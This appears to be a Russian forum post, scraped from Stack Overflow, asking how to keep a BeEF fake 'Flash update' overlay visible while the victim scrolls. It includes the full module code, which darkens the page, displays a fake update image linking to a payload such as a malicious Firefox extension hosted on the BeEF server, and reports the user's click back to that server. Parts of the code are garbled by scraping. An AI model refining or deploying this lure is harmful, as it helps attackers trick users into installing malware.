Как добавить плавающий div в сценарии проектов beEFJquery

Программирование на jquery
Ответить Пред. темаСлед. тема
Anonymous
 Как добавить плавающий div в сценарии проектов beEF

Сообщение Anonymous »

В проекте beEF есть скрипт, выполняющий поддельное флеш-обновление с серым фоном и изображением для флеш-обновления. проблема в том, что пользователь прокручивает страницу вниз. фон и изображение по-прежнему находятся в верхней части страницы, поэтому я попытался отредактировать сценарий и добавить некоторый код jquery, чтобы он перемещался вместе с посетителем, когда он/она прокручивает страницу вниз, но я не смог этого сделать.

Код: Выделить всё

//
// Copyright (c) 2006-2016 Wade Alcorn - [email protected]
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

// Module Configurations
var image = "";
var payload_type = "";
var payload_uri = "";

var beef_root = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port;
var payload = "";

// Function to gray out the screen
var grayOut = function(vis, options) {
var options = options || {};
var zindex = options.zindex || 50;
var opacity = options.opacity || 70;
var opaque = (opacity / 100);
var bgcolor = options.bgcolor || '#000000';
var dark=document.getElementById('darkenScreenObject');
if (!dark) {
var tbody = document.getElementsByTagName("body")[0];
var tnode = document.createElement('div');
tnode.style.position='absolute';
tnode.style.top='0px';
tnode.style.left='0px';
tnode.style.overflow='hidden';
tnode.style.display='none';
tnode.id='darkenScreenObject';
tbody.appendChild(tnode);
dark=document.getElementById('darkenScreenObject');
}
if (vis) {
var pageWidth='100%';
var pageHeight='100%';
dark.style.opacity=opaque;
dark.style.MozOpacity=opaque;
dark.style.filter='alpha(opacity='+opacity+')';
dark.style.zIndex=zindex;
dark.style.backgroundColor=bgcolor;
dark.style.width= pageWidth;
dark.style.height= pageHeight;
dark.style.display='block';
} else {
dark.style.display='none';
}
};

// Payload Configuration
switch (payload_type) {
case "Custom_Payload":
payload = payload_uri;
break;
case "Firefox_Extension":
payload = beef_root + "/api/ipec/ff_extension";
break;
default:
beef.net.send('', , 'error=payload not selected');
break;
}

// Create DIV
var flashdiv = document.createElement('div');
flashdiv.setAttribute('id', 'flashDiv');
flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;');
flashdiv.setAttribute('align', 'center');
document.body.appendChild(flashdiv);

// window.open is very useful when using data URI vectors and the IFrame/Object tag
// also, as the user is clicking on the link, the new tab opener is not blocked by the browser.
flashdiv.innerHTML = "[url=\]
[img]\[/img]
[/url]";

// gray out the background
grayOut(true,{'opacity':'30'});

// clean up on click
$j("#flashDiv").click(function () {
$j(this).hide();
document.body.removeChild(flashdiv);
grayOut(false,{'opacity':'0'});
document.body.removeChild(document.getElementById('darkenScreenObject'));
beef.net.send('', , 'result=user has clicked');
});

});



Подробнее здесь: https://stackoverflow.com/questions/351 ... ts-scripts
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Jquery»